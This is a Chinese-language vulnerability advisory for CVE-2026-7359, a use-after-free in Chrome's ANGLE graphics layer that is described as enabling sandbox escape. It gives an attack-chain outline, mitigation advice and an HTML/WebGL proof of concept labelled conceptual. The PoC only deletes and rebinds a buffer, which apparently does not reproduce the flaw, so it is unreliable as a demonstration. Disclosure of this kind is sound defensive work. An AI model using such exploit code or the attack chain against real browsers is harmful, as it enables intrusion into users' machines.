IPBUF安全漏洞报告
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CVE-2026-7359 CVSS 8.8 高危

CVE-2026-7359 Google Chrome ANGLE组件释放后重用漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7359
漏洞类型
释放后重用
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

释放后重用沙箱逃逸Google ChromeANGLE高危漏洞RCEBrowser Exploitation

漏洞概述

Google Chrome浏览器在147.0.7727.138之前的版本中,其ANGLE组件存在严重的释放后重用(UAF)漏洞。由于该组件在处理内存管理时存在缺陷,攻击者若已成功攻陷渲染进程,便可诱导用户访问特制的HTML页面。利用该漏洞,攻击者能够绕过Chrome的安全沙箱机制,执行任意代码,造成严重的安全风险。

技术细节

该漏洞的根源在于Google Chrome使用的ANGLE(Almost Native Graphics Layer Engine)图形引擎中存在释放后重用错误。在特定条件下,当渲染进程处理复杂的WebGL指令或图形渲染任务时,未能正确同步内存管理,导致程序在内存对象被释放后仍尝试访问该指针。攻击者首先需要控制渲染进程,这通常是通过链式利用浏览器中的其他内存破坏漏洞来实现。一旦控制了渲染进程,攻击者可以构造恶意的HTML页面,精准触发ANGLE中的UAF条件。通过精心布局的堆内存喷射技术,攻击者可以控制被释放内存的内容,覆盖关键对象或函数指针。由于Chrome采用多进程架构和严格的沙箱隔离,渲染进程的权限通常被严格限制。该漏洞的关键价值在于它允许攻击者突破沙箱限制,从低权限的渲染进程逃逸到高权限的浏览器主进程或操作系统层面,从而完全控制受害者的主机系统。

攻击链分析

STEP 1
步骤1:初始入侵
攻击者首先利用Chrome渲染进程中的其他漏洞(如RCE)获取在渲染进程内的代码执行权限。
STEP 2
步骤2:构造恶意页面
攻击者编写包含特定WebGL指令的HTML页面,旨在触发ANGLE组件中的内存管理错误。
STEP 3
步骤3:触发UAF漏洞
诱导受害者访问恶意页面,导致ANGLE引擎在释放内存对象后重复使用该指针。
STEP 4
步骤4:沙箱逃逸
利用UAF漏洞破坏内存布局,覆盖关键安全检查函数,从而绕过Chrome的沙箱机制。
STEP 5
步骤5:系统控制
在浏览器主进程或系统层面执行任意代码,获取受害者主机的完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-7359 (Conceptual) This HTML page attempts to trigger the Use-After-Free in ANGLE. Requires a vulnerable version of Chrome prior to 147.0.7727.138. --> <html> <head> <title>CVE-2026-7359 PoC</title> </head> <body> <h3>Triggering ANGLE UAF via WebGL</h3> <canvas id="glCanvas" width="640" height="480"></canvas> <script> const canvas = document.getElementById('glCanvas'); // Initialize WebGL context which uses ANGLE const gl = canvas.getContext('webgl'); if (gl) { console.log("WebGL context initialized."); // Create a shader program to interact with GPU memory const vsSource = ` attribute vec4 aVertexPosition; void main() { gl_Position = aVertexPosition; } `; const fsSource = ` void main() { gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0); } `; function loadShader(gl, type, source) { const shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.error('Shader compile error:', gl.getShaderInfoLog(shader)); gl.deleteShader(shader); return null; } return shader; } const shaderProgram = gl.createProgram(); const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource); const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource); gl.attachShader(shaderProgram, vertexShader); gl.attachShader(shaderProgram, fragmentShader); gl.linkProgram(shaderProgram); // Simulate the race condition or UAF trigger // In a real exploit, specific buffer manipulation would occur here const positionBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer); const positions = [1.0, 1.0, -1.0, 1.0, 1.0, -1.0, -1.0, -1.0]; gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW); // Attempt to trigger the vulnerability by rapid deletion and reuse for(let i=0; i<100; i++) { gl.deleteBuffer(positionBuffer); // Attempt to use the buffer again (UAF trigger point) // This may crash the renderer process in vulnerable versions gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer); } console.log("Exploit logic executed. Check for renderer crash."); } else { console.log("Unable to initialize WebGL."); } </script> </body> </html>

影响范围

Google Chrome < 147.0.7727.138

防御指南

临时缓解措施
由于该漏洞需要攻击者先攻陷渲染进程,用户应避免点击不明链接或访问非受信网站。最有效的缓解措施是尽快应用官方发布的安全补丁,升级浏览器至最新版本。在无法立即更新的情况下,可以考虑限制WebGL的使用或使用浏览器扩展脚本阻止潜在的可疑脚本执行。

参考链接

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